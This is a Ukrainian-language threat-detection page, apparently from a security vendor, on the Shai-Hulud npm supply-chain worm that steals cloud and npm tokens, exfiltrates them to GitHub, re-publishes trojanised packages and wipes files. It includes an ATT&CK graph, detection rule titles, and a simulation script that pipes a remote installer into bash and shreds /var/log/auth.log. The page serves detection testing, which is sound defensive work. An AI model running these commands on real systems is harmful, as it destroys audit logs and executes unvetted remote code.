Шай-Хулуд: Масштабна атака на ланцюг постачання npm
Detection stack
- AIDR
- Alert
- ETL
- Query
Короткий огляд
GitLab розкрив широкомасштабну атаку на ланцюжок поставок, спрямовану на екосистеми npm. Кампанія поширює оновлену версію шкідливого ПЗ Shai-Hulud через шкідливі скрипти попередньої установки. Це навантаження захоплює облікові дані хмарних і код-хостів, передає дані до репозиторіїв GitHub, контрольованих атакуючим, і поширюється далі через повторне опублікування троянізованих пакетів. Вбудований вимикач захисту може стерти або пошкодити файли користувача, якщо інфраструктура атакуючого буде порушена.
Розслідування
Команда з дослідження вразливостей GitLab відстежила діяльність до заражених npm пакетів, змінений файл package.json яких містить завантажувач setup_bun.js. Цей завантажувач встановлює середовище виконання Bun та запускає зібране навантаження bun_environment.js, яке збирає облікові дані, запускає Trufflehog для виявлення секретів та завантажує результати у публічний репозиторій GitHub. Шкідливе ПЗ також створює нові репозиторії GitHub для передачі даних та використовує вкрадені токени npm для повторного розповсюдження скомпрометованих пакетів. Якщо доступ до GitHub та npm буде розірвано, навантаження почне видаляти або перезаписувати файли користувача.
Пом’якшення
GitLab рекомендує організаціям перевіряти залежності npm на наявність несподіваних скриптів попередньої установки і перевіряти цілісність опублікованих пакетів. Команди повинні видалити несанкціоновані завантажувачі setup_bun.js, відкликати відкриті токени npm і GitHub, і слідкувати за підозрілими репозиторіями GitHub з міткою “Sha1-Hulud: Друге пришестя”. Захист кінцевих точок повинен бути налаштований на блокування ненадійних скриптів Node та на виявлення деструктивних командних рядків, задокументованих у звіті.
Відповідь
При виявленні активності ізолюйте уражену систему, відкличте всі скомпрометовані облікові дані і очистіть шкідливі npm пакети з внутрішніх реєстрів. Проведіть судово-медичний аналіз, щоб підтвердити або виключити ексфільтрацію даних та знищення файлів. Випустіть нові облікові дані для хмарних платформ і GitHub, і постійно відстежуйте GitHub на наявність новостворених репозиторіїв, що відповідають мітці атакуючого. Наостанок, укріпіть конвеєри CI/CD, щоб заборонити довільні скрипти попередньої установки.
graph TB %% Class definitions classDef technique fill:#99ccff classDef file fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nodes – Техніки атаки tech_supply_chain[“<b>Техніка</b> – <b>T1195.001 Компрометація ланцюга постачання</b>: Зловмисні пакети npm публікують змінений package.json, який додає скрипт preinstall”] class tech_supply_chain technique tech_client_exec[“<b>Техніка</b> – <b>T1203 Використання клієнтського виконання</b>: npm запускає скрипт preinstall під час встановлення пакета, виконуючи шкідливий setup_bun.js”] class tech_client_exec technique tech_software_ext[“<b>Техніка</b> – <b>T1176 Розширення програмного забезпечення</b>: Скрипт preinstall діє як шкідливе розширення легітимного пакета”] class tech_software_ext technique tech_obfuscate[“<b>Техніка</b> – <b>T1027 Обфусцировані файли або інформація</b>: Завантажується великий обфусцований payload bun_environment.js”] class tech_obfuscate technique tech_decode[“<b>Техніка</b> – <b>T1140 Декодування файлів або інформації</b>: Payload декодується перед виконанням”] class tech_decode technique tech_hidden_files[“<b>Техніка</b> – <b>T1564.001 Приховані файли та каталоги</b>: Створює .truffler‑cache/ і підкаталоги”] class tech_hidden_files technique tech_path_excl[“<b>Техніка</b> – <b>T1564.012 Виключення шляхів файлів</b>: Зберігає шкідливі бінарні файли у прихованих шляхах для уникнення виявлення”] class tech_path_excl technique tech_cred_in_files[“<b>Техніка</b> – <b>T1552.001 Облікові дані у файлах</b>: Скани .npmrc, змінних середовища та конфігураційних файлів для токенів хмарних сервісів та репозиторіїв”] class tech_cred_in_files technique tech_auto_collect[“<b>Техніка</b> – <b>T1119 Автоматизований збір</b>: Виконує Trufflehog для збору секретів з файлової системи”] class tech_auto_collect technique tech_exfil_repo[“<b>Техніка</b> – <b>T1567.001 Ексфільтрація в кодовий репозиторій</b>: Використовує вкрадений GitHub токен для створення публічних репозиторіїв та завантаження облікових даних”] class tech_exfil_repo technique tech_destructive[“<b>Техніка</b> – <b>T1565 Маніпуляція даними</b>: Виконує деструктивні команди (del, cipher, shred) для видалення та перезапису даних користувача”] class tech_destructive technique tech_impair[“<b>Техніка</b> – <b>T1562 Пошкодження захисту</b>: Перемикач мертвої людини вимикає відновлення шляхом знищення даних”] class tech_impair technique tech_propagate[“<b>Техніка</b> – <b>T1195.001 Поширення через ланцюг постачання</b>: Використовує вкрадені токени npm для впровадження шкідливих скриптів preinstall у пакети жертв і повторно публікує їх”] class tech_propagate technique %% Nodes – Файли та інструменти file_package_json[“<b>Файл</b>: package.json зі шкідливим скриптом preinstall”] class file_package_json file file_setup_bun[“<b>Файл</b>: setup_bun.js (скрипт preinstall)”] class file_setup_bun file file_bun_env[“<b>Файл</b>: bun_environment.js (обфусцований payload)”] class file_bun_env file file_trufflehog[“<b>Інструмент</b>: Trufflehog бінарний файл, збережено у .truffler‑cache”] class file_trufflehog tool file_hidden_dir[“<b>Файл</b>: .truffler‑cache/ прихований каталог”] class file_hidden_dir file file_github_repo[“<b>Файл</b>: Публічний GitHub репозиторій, створений для ексфільтрації”] class file_github_repo file %% Edges – Потік атаки tech_supply_chain –>|додає скрипт preinstall| file_package_json file_package_json –>|ініціюється під час npm install| tech_client_exec tech_client_exec –>|виконує| file_setup_bun file_setup_bun –>|завантажує| file_bun_env file_bun_env –>|це| tech_obfuscate tech_obfuscate –>|вимагає| tech_decode tech_decode –>|створює виконуваний payload| tech_software_ext tech_software_ext –>|створює| file_hidden_dir file_hidden_dir –>|зберігає| file_trufflehog file_trufflehog –>|використовується для| tech_auto_collect tech_auto_collect –>|збирає облікові дані| tech_cred_in_files tech_cred_in_files –>|надає токени для| tech_exfil_repo tech_exfil_repo –>|завантажує дані до| file_github_repo tech_exfil_repo –>|якщо токени втрачені, ініціює| tech_destructive tech_destructive –>|вимикає відновлення через| tech_impair tech_impair –>|дозволяє| tech_propagate tech_propagate –>|впроваджує шкідливий preinstall у нові пакети npm| tech_supply_chain %% Styling class tech_supply_chain,tech_client_exec,tech_software_ext,tech_obfuscate,tech_decode,tech_hidden_files,tech_path_excl,tech_cred_in_files,tech_auto_collect,tech_exfil_repo,tech_destructive,tech_impair,tech_propagate technique class file_package_json,file_setup_bun,file_bun_env,file_hidden_dir,file_github_repo file class file_trufflehog tool
Потік атаки
Виявлення
Виявлення шкідливої установки Bun і виконання деструктивного навантаження [Створення процесу Linux]
Перегляд
Виявлення деструктивних команд PowerShell і командного рядка [Створення процесу Windows]
Перегляд
Підозрілий файл або папка з крапкою на початку назви (через file_event)
Перегляд
Файл із підозрілим розширенням завантажений з домену з незвичайним TLD (через proxy)
Перегляд
Віддалене завантаження/завантаження файла за допомогою стандартних інструментів (через cmdline)
Перегляд
Виконання симуляції
Передумова: перевірка телеметрії та базових показників повинна пройти успішно.
Сценарій атаки та команди
Зловмисник отримав доступ до скомпрометованого хосту Linux. Щоб встановити постійний процес виконання, здатний запускати подальші навантаження на основі JavaScript, він завантажує та встановлює середовище виконання Bun через однорядкову команду, що передає інсталятор безпосередньо в bash. Одразу після підтвердження наявності середовища виконання атакаючи запускає “вимикач захисту” (симулюється тут затримкою sleep), який запускає деструктивну операцію shred, щоб безповоротно видалити важливий файл (/var/log/auth.log).
Кроки виконання:
- Завантаження та встановлення Bun:
curl -fsSL https://bun.sh/install | bash - Коротке очікування (симуляція вимикача).
- Виконати деструктивний shred:
shred -uvz -n 1 /var/log/auth.log
Обидві команди генерують події створення процесу, які відповідають точним ключовим словам правила Sigma.
Сценарій регресійного тестування
#!/bin/bash
# -------------------------------------------------
# Симуляція поведінки «Bun install + shred» Shai‑Hulud
# -------------------------------------------------
# 1️⃣ Встановлення Bun (точна команда потрібна для виявлення)
echo "[*] Встановлення Bun runtime..."
curl -fsSL https://bun.sh/install | bash
# Коротка пауза для імітації реалістичних часових рамок
sleep 5
# 2️⃣ Провести деструктивне знищення файла (точна команда потрібна)
TARGET_FILE="/var/log/auth.log"
if [[ -f "$TARGET_FILE" ]]; then
echo "[*] Знищення $TARGET_FILE ..."
shred -uvz -n 1 "$TARGET_FILE"
else
echo "[!] Файл цілі не знайдено; створення демонстраційного файлу для демонстрації."
echo "dummy data" > "$TARGET_FILE"
shred -uvz -n 1 "$TARGET_FILE"
fi
echo "[*] Симуляція завершена."
Команди очищення
#!/bin/bash
# -------------------------------------------------
# Очищення після симуляції Bun/Shred
# -------------------------------------------------
# Видалити всі залишкові файли Bun (якщо встановлено)
if command -v bun >/dev/null 2>&1; then
echo "[*] Видалення Bun runtime..."
rm -rf "$HOME/.bun"
rm -f /usr/local/bin/bun
fi
# Відновити знищений log file (для стабільності системи)
TARGET_FILE="/var/log/auth.log"
if [[ ! -f "$TARGET_FILE" ]]; then
echo "recreated log placeholder" | sudo tee "$TARGET_FILE" >/dev/null
sudo chmod 600 "$TARGET_FILE"
fi
echo "[*] Очищення завершено."